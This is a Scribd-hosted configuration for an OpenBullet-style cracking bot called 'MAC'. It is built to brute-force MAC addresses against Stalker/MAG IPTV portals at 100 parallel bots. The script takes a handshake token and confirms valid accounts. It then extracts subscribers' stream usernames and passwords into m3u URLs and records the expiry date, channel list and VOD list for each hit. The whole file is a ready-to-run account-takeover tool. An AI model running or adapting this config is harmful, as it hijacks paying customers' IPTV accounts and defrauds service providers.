100% found this document useful (1 vote)
395 views6 pages

MAC Loli

The document contains settings and a script for a MAC bot. The settings include the bot name, suggested number of bots, plugins, and other configuration details. The script contains functions to make requests to a HOST, parse responses for tokens, URLs, and other data, and capture outputs like the country list, portal URL, and m3u URL.

Uploaded by

simobasir
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
395 views6 pages

MAC Loli

The document contains settings and a script for a MAC bot. The settings include the bot name, suggested number of bots, plugins, and other configuration details. The script contains functions to make requests to a HOST, parse responses for tokens, URLs, and other data, and capture outputs like the country list, portal URL, and m3u URL.

Uploaded by

simobasir
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 6

[SETTINGS]

{
"Name": "MAC",
"SuggestedBots": 100,
"MaxCPM": 0,
"LastModified": "2022-07-28T01:56:26.0115821+00:00",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "THE HUNTER",
"Version": "1.2.2",
"SaveEmptyCaptures": false,
"ContinueOnCustom": true,
"SaveHitsToTextFile": true,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": false,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [
{
"Description": "HOST",
"VariableName": "HOST",
"Id": 1986966530
}
],
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}

[SCRIPT]
#HOST FUNCTION Constant "<HOST>" -> VAR "HOST"

#MAC FUNCTION Constant "<MAC>" -> VAR "CODE"

#MAC FUNCTION Constant "<CODE>" -> VAR "MAC"

#COOKIES PARSE "<COOKIES(__cfduid)>" LR "" "" -> VAR "cc"

#1 REQUEST GET "http://<HOST>/portal.php?type=stb&action=handshake&token="

HEADER "Host: <HOST>"


HEADER "Connection: keep-alive"
HEADER "Accept: */*"
HEADER "User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3
(KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3"
HEADER "Referer: http://<HOST>/c/"
HEADER "Accept-Language: en-US,*"
HEADER "Accept-Charset: UTF-8,*;q=0.8"
HEADER "X-User-Agent: Model: MAG254; Link: Ethernet,WiFi"
HEADER "Cookie: mac=<MAC>; stb_lang=en; timezone=Europe%2FBerlin;
adid=91b4a5f6dfb347d871ac2b624696917f"
HEADER "Accept-Encoding: gzip, deflate"

KEYCHECK
KEYCHAIN Success OR
KEY "js"
KEYCHAIN Failure OR
KEY "<SOURCE>" DoesNotContain "js"

#TOKEN PARSE "<SOURCE>" JSON "token" -> VAR "token"

#2 REQUEST GET "http://<HOST>/portal.php?type=stb&action=get_profile"


AcceptEncoding=FALSE

HEADER "Host: <HOST>"


HEADER "Connection: keep-alive"
HEADER "Accept: */*"
HEADER "User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3
(KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3"
HEADER "Referer: http://<HOST>/c/"
HEADER "Accept-Language: en-US,*"
HEADER "Accept-Charset: UTF-8,*;q=0.8"
HEADER "X-User-Agent: Model: MAG254; Link: Ethernet,WiFi"
HEADER "Cookie: mac=<MAC>; stb_lang=en; timezone=Europe%2FBerlin;
adid=91b4a5f6dfb347d871ac2b624696917f"
HEADER "Authorization: Bearer <token>"

!KEYCHECK
! KEYCHAIN Failure OR
! KEY "advert\":null,\"status\":1"
! KEY "\"login\":\"\",\"password\":\"\""
! KEY "Response code"
! KEY "null"
! KEY "503 Service Temporarily Unavailable"
! KEYCHAIN Success OR
! KEY "\"play_token\""

!#PARENTAL_PASS PARSE "<SOURCE>" JSON "parent_password" CreateEmpty=FALSE -> VAR


"Adult PASS Channels"

#IP PARSE "<SOURCE>" LR "\",\"ip\":\"" "\"" CreateEmpty=FALSE -> CAP "ip"

FUNCTION Constant "http://<HOST>/c/" -> CAP "PORTAL"

#REQ3 REQUEST GET "http://<HOST>/portal.php?


type=account_info&action=get_main_info&JsHttpRequest=1-xml"

HEADER "Host: <HOST>"


HEADER "Connection: keep-alive"
HEADER "Accept: */*"
HEADER "User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3
(KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3"
HEADER "Referer: http://<HOST>/c/"
HEADER "Accept-Language: en-US,*"
HEADER "Accept-Charset: UTF-8,*;q=0.8"
HEADER "X-User-Agent: Model: MAG254; Link: Ethernet,WiFi"
HEADER "Cookie: mac=<MAC>; stb_lang=en; timezone=Europe%2FBerlin;
adid=91b4a5f6dfb347d871ac2b624696917f"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Authorization: Bearer <token>"

KEYCHECK
KEYCHAIN Success OR
KEY "{\"js\":{\"mac\":\"00:1"
KEYCHAIN Failure OR
KEY "<SOURCE>" DoesNotContain "{\"js\":{\"mac\":\"00:1"
KEYCHAIN Retry OR
KEY "Access denied"

#PORTAL_URL FUNCTION Constant "http://<HOST>/c/" -> CAP "Portal URL"

#EXPIRES PARSE "<SOURCE>" JSON "phone" -> CAP "Expires"

#REQ4 REQUEST GET "http://<HOST>/portal.php?type=itv&action=create_link&cmd=ffmpeg


%20http://localhost/ch/
1823_&series=&forced_storage=0&disable_ad=0&download=0&force_ch_link_check=0&JsHttp
Request=1-xml"

HEADER "Host: <HOST>"


HEADER "Connection: keep-alive"
HEADER "Accept: */*"
HEADER "User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3
(KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3"
HEADER "Referer: http://<HOST>/c/"
HEADER "Accept-Language: en-US,*"
HEADER "Accept-Charset: UTF-8,*;q=0.8"
HEADER "X-User-Agent: Model: MAG254; Link: Ethernet,WiFi"
HEADER "Cookie: mac=<MAC>; stb_lang=en; timezone=Europe%2FBerlin;
adid=91b4a5f6dfb347d871ac2b624696917f"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Authorization: Bearer <token>"

#CMD PARSE "<SOURCE>" JSON "cmd" -> VAR "REAL"

#REAL PARSE "<REAL>" LR "://" "/" -> CAP "Real URL" "http://" ""

#USER PARSE "<REAL>" LR "<Real URL>/" "/" -> CAP "USER"

#PASS PARSE "<REAL>" LR "<USER>/" "/" -> CAP "PASS"

!FUNCTION Constant "http://<HOST>/get.php?username=<USER>&password=<PASS>&type=m3u"


-> CAP "m3u URL"

!#CRDT FUNCTION Constant "#THE_HUNTER" -> VAR "CHECKED BY "

!#REQ3 REQUEST GET "http://<HOST>/portal.php?


type=account_info&action=get_main_info&JsHttpRequest=1-xml"
!
! HEADER "Host: <HOST>"
! HEADER "Connection: keep-alive"
! HEADER "Accept: */*"
! HEADER "User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3
(KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3"
! HEADER "Referer: http://<HOST>/c/"
! HEADER "Accept-Language: en-US,*"
! HEADER "Accept-Charset: UTF-8,*;q=0.8"
! HEADER "X-User-Agent: Model: MAG254; Link: Ethernet,WiFi"
! HEADER "Cookie: mac=<MAC>; stb_lang=en; timezone=Europe%2FBerlin;
adid=91b4a5f6dfb347d871ac2b624696917f"
! HEADER "Accept-Encoding: gzip, deflate"
! HEADER "Authorization: Bearer <token>"

!#PORTAL_URL FUNCTION Constant "http://<HOST>/c/" -> CAP "Portal URL"

!#EXPIRES PARSE "<SOURCE>" JSON "phone" -> CAP "Expires"

!#REQ4 REQUEST GET "http://<HOST>/portal.php?type=itv&action=create_link&cmd=ffmpeg


%20http://localhost/ch/
1823_&series=&forced_storage=0&disable_ad=0&download=0&force_ch_link_check=0&JsHttp
Request=1-xml"
!
! HEADER "Host: <HOST>"
! HEADER "Connection: keep-alive"
! HEADER "Accept: */*"
! HEADER "User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3
(KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3"
! HEADER "Referer: http://<HOST>/c/"
! HEADER "Accept-Language: en-US,*"
! HEADER "Accept-Charset: UTF-8,*;q=0.8"
! HEADER "X-User-Agent: Model: MAG254; Link: Ethernet,WiFi"
! HEADER "Cookie: mac=<MAC>; stb_lang=en; timezone=Europe%2FBerlin;
adid=91b4a5f6dfb347d871ac2b624696917f"
! HEADER "Accept-Encoding: gzip, deflate"
! HEADER "Authorization: Bearer <token>"

!#CMD PARSE "<SOURCE>" JSON "cmd" -> VAR "REAL"

!#REAL PARSE "<REAL>" LR "://" "/" -> CAP "Real URL" "http://" ""

!#USER PARSE "<REAL>" LR "<Real URL>/" "/" -> CAP "USER"

!#PASS PARSE "<REAL>" LR "<USER>/" "/" -> CAP "PASS"

FUNCTION Constant "http://<HOST>/get.php?username=<USER>&password=<PASS>&type=m3u"


-> CAP "m3u URL"

#SN FUNCTION Hash MD5 "<MAC>" -> CAP "SN"

#SNEnc FUNCTION ToUppercase "<SN>" -> VAR "SNENC"

#SNCut FUNCTION Substring "0" "13" "<SNENC>" -> CAP "SNCUT"

#Device FUNCTION Hash SHA256 "<MAC>" -> CAP "DEV"

#DeviceEnc FUNCTION ToUppercase "<DEV>" -> VAR "DEVENC"

#Device2 FUNCTION Hash SHA256 "<SNCUT>" -> CAP "DEV2"

#DeviceEnc2 FUNCTION ToUppercase "<DEV2>" -> VAR "DEVENC2"

#Signature FUNCTION Hash SHA256 "<SNCUT>+<MAC>" -> CAP "SIGNATURE"

#SignatureEnc FUNCTION ToUppercase "<SIGN>" -> VAR "SIGNENC"


REQUEST GET "http://<HOST>/portal.php?type=itv&action=get_genres&JsHttpRequest=1-
xml"

COOKIE "CF-RAY: 687141e9985d4ec1-FRA"


HEADER "User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3
(KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3"
HEADER "Pragma: no-cache"
HEADER "Accept:
application/json,application/javascript,text/javascript,text/html,application/
xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
HEADER "Cookie: mac=<CODE>; debug=1; stb_lang=en; timezone=Europe%2Fistanbul"
HEADER "X-User-Agent: Model: MAG254; Link: Ethernet,WiFi"
HEADER "Host: <HOST>"
HEADER "Referer: http://<HOST>/c/"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Connection: Keep-Alive"
HEADER "Authorization: Bearer <token>"

#COUNTRY PARSE "<SOURCE>" JSON "js[*].title" JTokenParsing=TRUE Recursive=TRUE


CreateEmpty=FALSE -> CAP "Country List"

KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Custom "CUSTOM" OR
KEY "FOR ADULTS"
KEY "18+ "
KEY "XXX"
KEY "FOR ADULTS"
KEY "\":\"for adults\",\""

UTILITY List "Country List" RemoveDuplicates -> CAP "Country List"

#FONCTION FUNCTION ToUppercase "<Country List>" -> CAP "Country List"

#FONCTION FUNCTION Replace "," "🦅🇹🇳" "<Country List>" -> CAP "Country List"

#FONCTION FUNCTION Replace "[" "" "<Country List>" -> CAP "Country List"

#FONCTION FUNCTION Replace "]" "" "<Country List>" -> CAP "Country List"

REQUEST GET "http://<HOST>/portal.php?


type=vod&action=get_categories&JsHttpRequest=1-xml"

COOKIE "CF-RAY: 687141e9985d4ec1-FRA"


HEADER "User-Agent: Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3
(KHTML, like Gecko) MAG200 stbapp ver: 2 rev: 250 Safari/533.3"
HEADER "Pragma: no-cache"
HEADER "Accept:
application/json,application/javascript,text/javascript,text/html,application/
xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
HEADER "Cookie: mac=<CODE>; debug=1; stb_lang=en; timezone=Europe%2Fistanbul"
HEADER "X-User-Agent: Model: MAG254; Link: Ethernet,WiFi"
HEADER "Host: <HOST>"
HEADER "Referer: http://<HOST>/c/"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "Connection: Keep-Alive"
HEADER "Authorization: Bearer <token>"

!KEYCHECK
! KEYCHAIN Custom "CUSTOM" OR
! KEY "FOR ADULTS"
! KEY "18+ "
! KEY "XXX"
! KEY "FOR ADULTS"
! KEY "\":\"for adults\",\""
! KEYCHAIN Success OR
! KEY "{\"js\":[{\"id\":\""

KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Custom "CUSTOM" OR
KEY "FOR ADULTS"
KEY "18+ "
KEY "XXX"
KEY "ADULToS"
KEY "\":\"for adults\",\""

#VOD PARSE "<SOURCE>" JSON "js[*].title" JTokenParsing=TRUE Recursive=TRUE


CreateEmpty=FALSE -> CAP "VOD"

UTILITY List "VOD" RemoveDuplicates -> CAP "VOD"

#FONCTION FUNCTION ToUppercase "<VOD>" -> CAP "VOD"

#FONCTION FUNCTION Replace "," " 🦅🇹🇳" "<VOD>" -> CAP "VOD"

#FONCTION FUNCTION Replace "[" "" "<VOD>" -> CAP "VOD"

#FONCTION FUNCTION Replace "]" "" "<VOD>" -> CAP "VOD"

#COPYRIGHT FUNCTION Constant "#THE_HUNTER" -> CAP "CHECKED BY"

!UTILITY List "" Join ","

You might also like